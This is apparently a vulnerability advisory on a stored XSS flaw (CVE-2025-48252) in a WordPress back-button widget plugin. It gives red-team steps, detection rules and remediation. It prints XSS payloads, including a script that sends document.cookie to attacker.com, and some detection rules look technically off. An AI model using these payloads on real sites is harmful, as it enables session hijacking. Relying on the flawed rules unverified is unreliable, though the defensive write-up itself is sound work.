CVE-2025-48252

Executive Summary

CVE-2025-48252 is a Stored Cross-Site Scripting (XSS) vulnerability in the WPFactory Back Button Widget plugin for WordPress, affecting versions up to and including 1.6.8. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level access or higher to inject arbitrary JavaScript into the widget’s settings. When a site administrator or other user views the affected page, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS v3.1 base score is 6.5 (Medium), with a vector emphasizing low-privilege access and user interaction required. As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for WordPress sites using this plugin.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since WordPress plugins are not typically managed through package managers like npm or PyPI, the supply chain risk is limited to the plugin’s update mechanism. Users must manually update the plugin when a patch becomes available. No known malicious packages or typosquatting attempts have been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): Low – Attacker needs contributor-level access or higher.
• User Interaction (UI): Required – The victim must visit the affected page.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): Low – Limited impact on service availability.

Threat Level: Medium. The requirement for authenticated access and user interaction reduces the immediate risk, but the potential for stored XSS in a widely used widget could lead to targeted attacks against WordPress admin users.

Deep Dive & Mechanics

The Back Button Widget plugin allows users to add a “back” button to their WordPress site via a widget. The vulnerability exists in the widget’s settings page, where user input (e.g., button text, URL, or CSS class) is not properly sanitized before being stored and later rendered in the admin dashboard or frontend. An attacker with contributor-level access can inject malicious JavaScript into these fields. When an administrator or other user views the widget settings or a page containing the widget, the script executes in their browser context.

Root Cause: The plugin uses echo or print to output user-supplied data without applying WordPress’s built-in escaping functions like esc_html() or wp_kses_post(). This allows raw HTML and JavaScript to be stored and rendered.

Attack Flow:

1. Attacker logs in as a contributor or higher.
2. Navigates to Appearance > Widgets and edits the Back Button Widget.
3. Injects a payload like <script>alert('XSS')</script> into a text field.
4. Saves the widget.
5. When an admin visits the Widgets page or a page displaying the widget, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (example from version 1.6.8):

// In widget form function
echo '<input type="text" id="' . $this->get_field_id('button_text') . '" name="' . $this->get_field_name('button_text') . '" value="' . $instance['button_text'] . '" />';

Patched Code (hypothetical fix):

// Properly escape output
echo '<input type="text" id="' . esc_attr($this->get_field_id('button_text')) . '" name="' . esc_attr($this->get_field_name('button_text')) . '" value="' . esc_attr($instance['button_text']) . '" />';

The fix uses esc_attr() to escape HTML attribute values, preventing script injection. Additionally, wp_kses_post() should be used for rich text fields.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Back Button Widget <= 1.6.8 installed and activated.
• Attacker account with contributor-level privileges or higher.

Steps:

1. Log in to WordPress as a contributor.
2. Navigate to Appearance > Widgets.
3. Locate the Back Button Widget and expand it.
4. In the “Button Text” field, enter the following payload:

   <img src=x onerror=alert(document.cookie)>
   

5. Save the widget.
6. Wait for an administrator to visit the Widgets page or a page displaying the widget. The script will execute, displaying the admin’s cookies.

Advanced Payload (session hijacking):

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor WordPress admin logs for unusual widget modifications.
• Use a Web Application Firewall (WAF) to block common XSS patterns in widget settings.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hardening:

• Disable the plugin until a patch is available.
• Restrict contributor-level access to trusted users only.
• Use a security plugin like Wordfence to detect and block XSS attempts.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/back-button-widget/back-button-widget.php (version 1.6.8 or earlier)
• Log Entry: Suspicious widget save events in wp_options table with widget_back-button-widget option name containing <script> or <img onerror= patterns.
• Network: Outbound HTTP requests to attacker-controlled domains from WordPress admin pages.
• Browser: Unexpected JavaScript alerts or redirects when accessing widget settings.

Detection Engineering

YARA Rule

rule detect_back_button_widget_xss {
    meta:
        description = "Detects stored XSS payloads in Back Button Widget plugin files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-48252"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $xss_img = /<img[^>]*onerror\s*=/i
        $xss_onload = /<[^>]*onload\s*=/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in WPFactory Back Button Widget
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in Back Button Widget plugin settings
author: Valters IT
logsource:
    product: wordpress
    service: audit
detection:
    selection:
        EventID: 1000  # WordPress audit log event for widget save
        Object: "widget_back-button-widget"
        Details|contains: 
            - "<script"
            - "onerror="
            - "onload="
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in widget settings (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-48252 Stored XSS in Back Button Widget"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/widgets.php"; http_uri; content:"back-button-widget"; http_client_body; pcre:"/(<script|<img[^>]*onerror|<[^>]*onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patched version is released.
2. Review and clean any existing widget settings for malicious content.
3. Change all admin passwords if compromise is suspected.

Long-term Fix:

• Apply the vendor’s patch when available (check WPFactory’s website or plugin repository).
• Implement input validation and output escaping in custom code.
• Use a Web Application Firewall (WAF) with XSS rules.

Workaround:

• Restrict contributor-level access to trusted users only.
• Use a security plugin to monitor widget modifications.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert